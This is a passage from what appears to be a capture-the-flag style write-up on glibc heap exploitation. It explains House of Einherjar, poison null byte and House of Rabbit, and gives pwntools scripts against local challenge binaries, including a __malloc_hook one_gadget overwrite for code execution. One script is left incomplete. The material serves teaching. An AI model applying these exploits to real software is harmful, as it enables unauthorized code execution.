[1m[37medit[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m))[0m[1m[37m[0m
[33m# +----v[0m[1m[37m[0m
[33m# 0x400 largebin: [chunk A] -> [fake chunk] [chunk B][0m[1m[37m[0m
[33m# ^-------------------------^[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x410[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m5[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m48[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"pwned[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"4"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"target: "[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
== [1m[4mHouse of Einherjar[22m[24m
This is a single null byte heap overflow; this allows us to zero
out the flags (notably [40m`PREV_INUSE`[49m) of an adjacent chunk
on the heap.
Consequently, we can force backwards consolidation with a fake
chunk, leading to an overlapping chunk primitive (which can easily
be pivoted to a UAF).
=== [1m[4mSolve[22m[24m
Here we abuse backwards consolidation to create a fake chunk
overlapping the target data.
We can clear the [40m`PREV_INUSE`[49m bit of the victim chunk and
then free it, or alternatively free it first and then use the null
byte overflow to decrease the freed victim chunk's
[40m[35m`size`[39m[49m.
A cool trick is that instead of using a legitimate
[40m[35m`size`[39m[49m for the fake chunk (which we can't
calculate in this instance because we don't yet know the heap
address), we can set it to 8.[^fn:4]
Computing the chunk following a size 8 chunk results in a chunk
whose [40m[35m`prev_size`[39m[49m overlaps the size 8 chunk's
[40m[35m`size`[39m[49m, which passes the safe unlinking checks.
[33m#define unlink(AV, P, BK, FD) { \[0m
[33m if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \[0m
[33m malloc_printerr ("corrupted size vs. prev_size"); \[0m
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"house_of_einherjar"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit[0m[1m[37m([0m[1m[37mindex[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your username: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m))[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"heap @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mchunk_A[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_B[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x100[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m(([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x90[0m[1m[37m)[0m[1m[36m-[0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m))[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_B[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_C[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# serviced from the fake top chunk[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[37mchunk_C[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"C"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"pwned[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"4"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"target: "[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'pwned\n'[0m
=== [1m[4mTODO[24m Challenge solve[22m[24m
In this variant we don't control the
[40m[35m`prev_size`[39m[49m field of the victim chunk.
As alluded to earlier, we can decrease the
[40m[35m`size`[39m[49m of a freed chunk, service an allocation
from it (this does not update the [40m[35m`prev_size`[39m[49m
and [40m`PREV_INUSE`[49m of the following chunk because we
tampered with [40m[35m`size`[39m[49m), and then free the
adjacent chunk, leading to an active chunk in the middle of a free
chunk.
We can then use this to read unsortedbin linked list pointers for a
libc and heap leak.
To gain code execution, I initially tried using an unsortedbin
attack to clobber [40m[35m`global_max_fast`[39m[49m to a very
large value in order for large chunks to be qualified for fastbin
insertion, and then used this to link a fake [40m`0xf0`[49m chunk
overlapping [40m[35m`__malloc_hook`[39m[49m into the fastbin
freelist; however, due to poor register and stack control I was
unable to meet the constraints of the one_gadgets in libc.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"poison_null_byte"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mcalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mcalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mcalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit[0m[1m[37m([0m[1m[37mindex[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mread[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"4"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m()[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mret[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m140[0m[1m[37m[0m
[1m[37m[0m
[1m[37mchunk_A[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_B[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x210[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_C[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# padding[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_B[0m[1m[37m)[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m))[0m[1m[37m [0m[33m# overflow LSB of chunk_B.size to 0x00[0m[1m[37m[0m
[1m[37mchunk_E[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x100[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_F[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x100[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_E[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_C[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_G[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x1b0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m)[0m[1m[37m[0m
[33m# unsortedbin: [chunk A] -> [chunk E/F][0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37munpack[0m[1m[37m([0m[1m[37mread[0m[1m[37m([0m[1m[37mchunk_F[0m[1m[37m)[[0m[1m[36m0xb0[0m[1m[37m:][:[0m[1m[36m8[0m[1m[37m])[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mmain_arena[0m[1m[36m+[0m[1m[36m0x58[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37munpack[0m[1m[37m([0m[1m[37mread[0m[1m[37m([0m[1m[37mchunk_F[0m[1m[37m)[[0m[1m[36m0xb0[0m[1m[36m+[0m[1m[36m8[0m[1m[37m:][:[0m[1m[36m8[0m[1m[37m])[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x1c0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# empty unsortedbin[0m[1m[37m[0m
[1m[37mchunk_H[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0xf0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_H[0m[1m[37m)[0m[1m[37m[0m
[33m# unsortedbin: [chunk H/F][0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[37mchunk_F[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"F"[0m[1m[36m*[0m[1m[36m0xa8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xf1[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mglobal_max_fast[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m))[0m[1m[37m[0m
[1m[37mchunk_boop[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0xf0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# unsortedbin attack[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_boop[0m[1m[37m)[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[37mchunk_F[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"F"[0m[1m[36m*[0m[1m[36m0xa8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xf1[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__malloc_hook[0m[1m[36m-[0m[1m[36m0x23[0m[1m[37m))[0m[1m[37m[0m
[33m# 0x100 fastbin: [chunk ??] -> &__malloc_hook-0x23[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0xf0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_I[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcalloc[0m[1m[37m([0m[1m[36m0xf0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x100 fastbin: [chunk I/F][0m[1m[37m[0m
[1m[37mone_gadget[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37m???[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[37mchunk_I[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m0x13[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mone_gadget[0m[1m[37m))[0m[1m[37m[0m
[1m[37mcalloc[0m[1m[37m([0m[1m[36m0x80[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# trigger __malloc_hook[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvall[0m[1m[37m([0m[1m[37mtimeout[0m[1m[36m=[0m[1m[36m0.5[0m[1m[37m))[0m[1m[37m[0m
The intended solve was to use the unsortedbin attack to create fake
chunk metadata in front of [40m[35m`__free_hook`[39m[49m; while
this is a clever idea, this doesn't work under QEMU as the MSB of
libc addresses is [40m`0xff`[49m, not [40m`0x7f`[49m.
== [1m[4mHouse of Rabbit[22m[24m
This is a technique that touches on many of the challenges covered
thus far where a fake chunk "hops" between the fastbins,
unsortedbin and largebins.
The steps are as follows:
1. Increase [40m[35m`main_arena.system_mem`[39m[49m to at
least [40m`0x80000`[49m (minimum size of the largest
largebin) by allocating and then freeing a large chunk (to
raise [40m[35m`mp_.mmap_threshold`[39m[49m), then
allocating another large chunk
2. [24m Craft a fake chunk with an attacker-controlled, editable
size field (initially set to [40m`0x0`[49m). Link it into a
fastbin (using e.g. fastbin dup)
3. Consolidate the fastbins into the unsortedbin by freeing a
large chunk (any chunk that gets consolidated with this chunk
counts towards the size)
4. [24m Set the fake chunk's size field to [40m`0x80000`[49m or
higher
5. Allocate a chunk large enough to sort the largest largebin
6. Set the fake chunk's size to be large enough to overlap target
data (wrapping around after [40m`0xffffffffffffffff`[49m if
target data is before the fake chunk)
7. Allocate a chunk with a size such that the fake chunk is
remaindered into a much smaller chunk that overlaps the target
data
8. Allocate a chunk with size equal to the chunk remaindered from
the fake chunk
9. Profit
=== [1m[4mSolve[22m[24m
Here we're using a double free to link our fake chunk into a
fastbin, but we could skip steps 2–4 if we were able to directly
link a size [40m`0x80000`[49m fake chunk into the unsortedbin.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[37mbin[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
